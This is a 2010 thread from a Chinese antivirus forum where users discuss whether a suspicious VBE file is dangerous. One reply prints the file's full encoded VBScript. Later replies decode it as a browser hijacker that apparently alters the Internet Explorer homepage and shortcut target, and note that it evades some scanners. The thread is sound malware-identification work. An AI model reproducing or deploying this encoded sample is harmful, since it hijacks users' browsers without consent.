查看: 3276|回复: 10
收起左侧

[可疑文件] 应该是危险文件啦,55555

[复制链接]
幻影bing
发表于 2010-12-11 13:56:21 | 显示全部楼层 |阅读模式
本帖最后由 幻影bing 于 2010-12-11 14:53 编辑


这是鉴定结果http://virscan.org/report/f66d2e07915d442a65e446e57598ca57.html
,但是他坚持讲危险,不知道到底怎么样

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
蝉鸣时
发表于 2010-12-11 13:57:34 | 显示全部楼层
#@~^MQIAAA==G PnMDKDPM+k;:PU+XY~@#@&fks~W(L?q8n:dW1lOW.S,W8LU 4:jnM\k^nk~~W(%UYCMY!w~,W(%ZKxWkT~~G(L?q8+sr4Nn^Y@#@&U+OPG8N? 4hSKmCOKDPx~;DnlDn}4%mD`Jq4h?1DrwDkULc?(n:dWmmOGDr#@#@&j+O~K4%?q8+s?n.7kmnd,'~W(%U8:dWmmYK.R;WUxmOjD\.`*@#@&UnOPK4N?Ol.O!w~',G4N? 8:?n.7k^+k V+OvJqkx2 |KDKmn/k?OCMYEaE#@#@&?O~W(L;WU0rL,'~W(%?Dl.O!wRj2mhUq dDlU1+|@#@&K4N/W 0roc?4GSk [WSP',q+@#@&?Y~W8%U8+s64N+^O,'PG8N? 4hU+.7k1+/cMO`rrx2 mKMWmd/r#@#@&n.D"+kEsY~x,W8LU 4:68N+mO ;DnlDnvJ/=-hDWTDmhPwks+k-(UD+D nY,26asGDD'q3(KJ}I3RAp2,tOOa)z&ASh !WT2* 1WszJBPg;V^~~1!VsS,wDK^+k/q9bjL0AAA==^#~@
幻影bing
 楼主| 发表于 2010-12-11 13:59:53 | 显示全部楼层
回复 2楼 蝉鸣时 的帖子

看不懂,他讲用记事本打开是乱码的
幸福的猪猪
发表于 2010-12-11 14:19:11 | 显示全部楼层
本帖最后由 幸福的猪猪 于 2010-12-11 14:28 编辑

Redoce的 "解密>C>JS.Encode解密"可以解密的。(此VBE的动作,应该是修改IE主页的吧。)





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
705636542
发表于 2010-12-11 14:21:37 | 显示全部楼层
anquan
幻影bing
 楼主| 发表于 2010-12-11 14:28:45 | 显示全部楼层
回复 4楼 幸福的猪猪 的帖子

我看不懂,我问你安全不呢?还有那个解密以后再学学吧
幸福的猪猪
发表于 2010-12-11 14:39:55 | 显示全部楼层
本帖最后由 幸福的猪猪 于 2010-12-11 14:41 编辑

回复 6楼 幻影bing 的帖子

我对编程还不是很懂...(按照解密之后的代码来看,这个vbe的应该是有给IE的“目标”栏后面 添加上h ttp://www.04035.com/"  )


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
幻影bing
 楼主| 发表于 2010-12-11 14:41:26 | 显示全部楼层
回复 7楼 幸福的猪猪 的帖子

恩,他本人将就是类似这样的

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
留侯
发表于 2010-12-11 14:50:05 | 显示全部楼层
大蜘蛛clean,加了个壳:shellie.vbe packed by ENCODED SCRIPT
看样子是流氓软件
594157544
发表于 2010-12-11 16:17:44 | 显示全部楼层
过360杀毒和NOD32
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-6-12 23:20 , Processed in 0.136032 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表